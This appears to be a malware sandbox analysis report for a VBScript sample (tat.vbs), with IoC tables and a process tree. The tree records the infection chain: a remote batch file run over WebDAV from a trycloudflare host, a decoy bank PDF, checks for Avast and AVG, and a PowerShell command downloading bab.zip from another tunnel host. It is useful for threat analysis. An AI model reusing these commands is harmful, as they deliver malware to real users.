2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
2224	chrome.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe
4128	msedge.exe

Suspicious use of SetWindowsHookEx 62 IoCs

pid	Process
2556	OpenWith.exe
2556	OpenWith.exe
2556	OpenWith.exe
2556	OpenWith.exe
2556	OpenWith.exe
2556	OpenWith.exe
2556	OpenWith.exe
2556	OpenWith.exe
2556	OpenWith.exe
4732	Notepad.exe
5512	OpenWith.exe
5512	OpenWith.exe
5512	OpenWith.exe
5512	OpenWith.exe
5512	OpenWith.exe
5512	OpenWith.exe
5512	OpenWith.exe
5512	OpenWith.exe
5512	OpenWith.exe
4912	OpenWith.exe
4912	OpenWith.exe
4912	OpenWith.exe
4912	OpenWith.exe
4912	OpenWith.exe
4912	OpenWith.exe
4912	OpenWith.exe
4912	OpenWith.exe
4912	OpenWith.exe
4912	OpenWith.exe
4912	OpenWith.exe
4912	OpenWith.exe
4912	OpenWith.exe
4912	OpenWith.exe
4912	OpenWith.exe
4912	OpenWith.exe
4912	OpenWith.exe
4912	OpenWith.exe
4912	OpenWith.exe
4912	OpenWith.exe
4912	OpenWith.exe
4912	OpenWith.exe
4912	OpenWith.exe
4912	OpenWith.exe
4912	OpenWith.exe
4912	OpenWith.exe
4912	OpenWith.exe
4912	OpenWith.exe
4912	OpenWith.exe
4912	OpenWith.exe
4912	OpenWith.exe
4912	OpenWith.exe
4912	OpenWith.exe
4912	OpenWith.exe
4912	OpenWith.exe
4912	OpenWith.exe
4912	OpenWith.exe
4912	OpenWith.exe
4912	OpenWith.exe
4912	OpenWith.exe
4912	OpenWith.exe
1036	OpenWith.exe
5328	explorer.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2224 wrote to memory of 4280	2224	chrome.exe	83
PID 2224 wrote to memory of 4280	2224	chrome.exe	83
PID 2224 wrote to memory of 2300	2224	chrome.exe	84
PID 2224 wrote to memory of 2300	2224	chrome.exe	84
PID 2224 wrote to memory of 2300	2224	chrome.exe	84
PID 2224 wrote to memory of 2300	2224	chrome.exe	84
PID 2224 wrote to memory of 2300	2224	chrome.exe	84
PID 2224 wrote to memory of 2300	2224	chrome.exe	84
PID 2224 wrote to memory of 2300	2224	chrome.exe	84
PID 2224 wrote to memory of 2300	2224	chrome.exe	84
PID 2224 wrote to memory of 2300	2224	chrome.exe	84
PID 2224 wrote to memory of 2300	2224	chrome.exe	84
PID 2224 wrote to memory of 2300	2224	chrome.exe	84
PID 2224 wrote to memory of 2300	2224	chrome.exe	84
PID 2224 wrote to memory of 2300	2224	chrome.exe	84
PID 2224 wrote to memory of 2300	2224	chrome.exe	84
PID 2224 wrote to memory of 2300	2224	chrome.exe	84
PID 2224 wrote to memory of 2300	2224	chrome.exe	84
PID 2224 wrote to memory of 2300	2224	chrome.exe	84
PID 2224 wrote to memory of 2300	2224	chrome.exe	84
PID 2224 wrote to memory of 2300	2224	chrome.exe	84
PID 2224 wrote to memory of 2300	2224	chrome.exe	84
PID 2224 wrote to memory of 2300	2224	chrome.exe	84
PID 2224 wrote to memory of 2300	2224	chrome.exe	84
PID 2224 wrote to memory of 2300	2224	chrome.exe	84
PID 2224 wrote to memory of 2300	2224	chrome.exe	84
PID 2224 wrote to memory of 2300	2224	chrome.exe	84
PID 2224 wrote to memory of 2300	2224	chrome.exe	84
PID 2224 wrote to memory of 2300	2224	chrome.exe	84
PID 2224 wrote to memory of 2300	2224	chrome.exe	84
PID 2224 wrote to memory of 2300	2224	chrome.exe	84
PID 2224 wrote to memory of 2300	2224	chrome.exe	84
PID 2224 wrote to memory of 3536	2224	chrome.exe	85
PID 2224 wrote to memory of 3536	2224	chrome.exe	85
PID 2224 wrote to memory of 1612	2224	chrome.exe	86
PID 2224 wrote to memory of 1612	2224	chrome.exe	86
PID 2224 wrote to memory of 1612	2224	chrome.exe	86
PID 2224 wrote to memory of 1612	2224	chrome.exe	86
PID 2224 wrote to memory of 1612	2224	chrome.exe	86
PID 2224 wrote to memory of 1612	2224	chrome.exe	86
PID 2224 wrote to memory of 1612	2224	chrome.exe	86
PID 2224 wrote to memory of 1612	2224	chrome.exe	86
PID 2224 wrote to memory of 1612	2224	chrome.exe	86
PID 2224 wrote to memory of 1612	2224	chrome.exe	86
PID 2224 wrote to memory of 1612	2224	chrome.exe	86
PID 2224 wrote to memory of 1612	2224	chrome.exe	86
PID 2224 wrote to memory of 1612	2224	chrome.exe	86
PID 2224 wrote to memory of 1612	2224	chrome.exe	86
PID 2224 wrote to memory of 1612	2224	chrome.exe	86
PID 2224 wrote to memory of 1612	2224	chrome.exe	86
PID 2224 wrote to memory of 1612	2224	chrome.exe	86
PID 2224 wrote to memory of 1612	2224	chrome.exe	86
PID 2224 wrote to memory of 1612	2224	chrome.exe	86
PID 2224 wrote to memory of 1612	2224	chrome.exe	86
PID 2224 wrote to memory of 1612	2224	chrome.exe	86
PID 2224 wrote to memory of 1612	2224	chrome.exe	86
PID 2224 wrote to memory of 1612	2224	chrome.exe	86
PID 2224 wrote to memory of 1612	2224	chrome.exe	86
PID 2224 wrote to memory of 1612	2224	chrome.exe	86
PID 2224 wrote to memory of 1612	2224	chrome.exe	86
PID 2224 wrote to memory of 1612	2224	chrome.exe	86
PID 2224 wrote to memory of 1612	2224	chrome.exe	86
PID 2224 wrote to memory of 1612	2224	chrome.exe	86
PID 2224 wrote to memory of 1612	2224	chrome.exe	86

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3508
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://ni-olympic-forests-invoice.trycloudflare.com
  2⤵
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:2224
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffce381cc40,0x7ffce381cc4c,0x7ffce381cc58
    3⤵
    PID:4280
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1800,i,11894368181364863603,17152869192929464340,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=1796 /prefetch:2
    3⤵
    PID:2300
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=2204,i,11894368181364863603,17152869192929464340,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2196 /prefetch:3
    3⤵
    PID:3536
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2232,i,11894368181364863603,17152869192929464340,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2484 /prefetch:8
    3⤵
    PID:1612
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3100,i,11894368181364863603,17152869192929464340,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3136 /prefetch:1
    3⤵
    PID:4760
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3108,i,11894368181364863603,17152869192929464340,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3172 /prefetch:1
    3⤵
    PID:3996
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4308,i,11894368181364863603,17152869192929464340,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4620 /prefetch:8
    3⤵
    PID:3224
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --no-appcompat-clear --gpu-preferences=WAAAAAAAAADoAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=4796,i,11894368181364863603,17152869192929464340,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4884 /prefetch:8
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4656
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=5016,i,11894368181364863603,17152869192929464340,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5036 /prefetch:8
    3⤵
    PID:2932
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Downloads\tat.vbs"
    3⤵
    - Checks computer location settings
    PID:4484
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c \\ni-olympic-forests-invoice.trycloudflare.com@SSL\DavWWWRoot\voi.bat
      4⤵
      PID:4748
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=5284,i,11894368181364863603,17152869192929464340,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4440 /prefetch:8
    3⤵
    PID:4856
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=5308,i,11894368181364863603,17152869192929464340,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=5144 /prefetch:8
    3⤵
    PID:2824
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --field-trial-handle=5344,i,11894368181364863603,17152869192929464340,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4740 /prefetch:1
    3⤵
    PID:3056
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Downloads\tat.vbs"
  2⤵
  - Checks computer location settings
  PID:2304
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c \\ni-olympic-forests-invoice.trycloudflare.com@SSL\DavWWWRoot\voi.bat
    3⤵
    PID:2564
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Downloads\tat.vbs"
  2⤵
  - Checks computer location settings
  PID:3016
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c \\ni-olympic-forests-invoice.trycloudflare.com@SSL\DavWWWRoot\voi.bat
    3⤵
    PID:3476
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory=Default
  2⤵
  - Enumerates system info in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:4128
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ffcd24546f8,0x7ffcd2454708,0x7ffcd2454718
    3⤵
    PID:3004
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2012,9157616118679378263,8854810075093765100,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2024 /prefetch:2
    3⤵
    PID:1516
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2012,9157616118679378263,8854810075093765100,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2220 /prefetch:3
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4092
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2012,9157616118679378263,8854810075093765100,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2832 /prefetch:8
    3⤵
    PID:4872
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2012,9157616118679378263,8854810075093765100,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3364 /prefetch:1
    3⤵
    PID:468
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2012,9157616118679378263,8854810075093765100,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3372 /prefetch:1
    3⤵
    PID:2040
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2012,9157616118679378263,8854810075093765100,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4100 /prefetch:1
    3⤵
    PID:404
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2012,9157616118679378263,8854810075093765100,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5056 /prefetch:1
    3⤵
    PID:3224
- - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2012,9157616118679378263,8854810075093765100,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3632 /prefetch:8
    3⤵
    PID:3328
- - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2012,9157616118679378263,8854810075093765100,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3632 /prefetch:8
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4304
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2012,9157616118679378263,8854810075093765100,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5512 /prefetch:1
    3⤵
    PID:1676
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2012,9157616118679378263,8854810075093765100,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5660 /prefetch:1
    3⤵
    PID:1164
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2012,9157616118679378263,8854810075093765100,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6028 /prefetch:1
    3⤵
    PID:1664
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2012,9157616118679378263,8854810075093765100,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6128 /prefetch:1
    3⤵
    PID:4416
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2012,9157616118679378263,8854810075093765100,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5688 /prefetch:1
    3⤵
    PID:404
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2012,9157616118679378263,8854810075093765100,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3196 /prefetch:1
    3⤵
    PID:3768
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2012,9157616118679378263,8854810075093765100,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5340 /prefetch:1
    3⤵
    PID:2000
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2012,9157616118679378263,8854810075093765100,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5748 /prefetch:1
    3⤵
    PID:932
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2012,9157616118679378263,8854810075093765100,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5560 /prefetch:1
    3⤵
    PID:2732
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2012,9157616118679378263,8854810075093765100,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1432 /prefetch:1
    3⤵
    PID:4620
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2012,9157616118679378263,8854810075093765100,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5260 /prefetch:1
    3⤵
    PID:3412
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2012,9157616118679378263,8854810075093765100,131072 --lang=en-US --extension-process --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2408 /prefetch:1
    3⤵
    PID:5284
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=ppapi --field-trial-handle=2012,9157616118679378263,8854810075093765100,131072 --lang=en-US --device-scale-factor=1 --ppapi-antialiased-text-enabled=1 --ppapi-subpixel-rendering-setting=1 --mojo-platform-channel-handle=6176 /prefetch:6
    3⤵
    PID:5548
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Downloads\tat.vbs"
  2⤵
  - Checks computer location settings
  PID:3012
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c \\ni-olympic-forests-invoice.trycloudflare.com@SSL\DavWWWRoot\voi.bat
    3⤵
    PID:4176
- C:\Windows\System32\Notepad.exe
  "C:\Windows\System32\Notepad.exe" C:\Users\Admin\Downloads\tat.vbs
  2⤵
  - Modifies registry class
  - Opens file in notepad (likely ransom note)
  - Suspicious use of SetWindowsHookEx
  PID:4732
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\voi.bat" "
  2⤵
  PID:836
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.bankbsu.ch/dam/jcr:72a8b29f-cccb-4e0f-9007-49b7e1773910/Factsheet-Unternehmen_QR-Rechnung.pdf
    3⤵
    PID:3136
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x100,0x104,0x108,0xd8,0x10c,0x7ffcd24546f8,0x7ffcd2454708,0x7ffcd2454718
      4⤵
      PID:1164
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.bankbsu.ch/dam/jcr:72a8b29f-cccb-4e0f-9007-49b7e1773910/Factsheet-Unternehmen_QR-Rechnung.pdf
    3⤵
    PID:112
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffcd24546f8,0x7ffcd2454708,0x7ffcd2454718
      4⤵
      PID:3620
- - C:\Windows\system32\tasklist.exe
    tasklist /FI "IMAGENAME eq AvastUI.exe"
    3⤵
    - Enumerates processes with tasklist
    PID:552
- - C:\Windows\system32\find.exe
    find /i "AvastUI.exe"
    3⤵
    PID:5132
- - C:\Windows\system32\tasklist.exe
    tasklist /FI "IMAGENAME eq avgui.exe"
    3⤵
    - Enumerates processes with tasklist
    PID:5400
- - C:\Windows\system32\find.exe
    find /i "avgui.exe"
    3⤵
    PID:5408
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://ready-bathroom-carter-membrane.trycloudflare.com/bab.zip' -OutFile 'C:\Users\Admin\Downloads\downloaded.zip' } catch { exit 1 }"
    3⤵
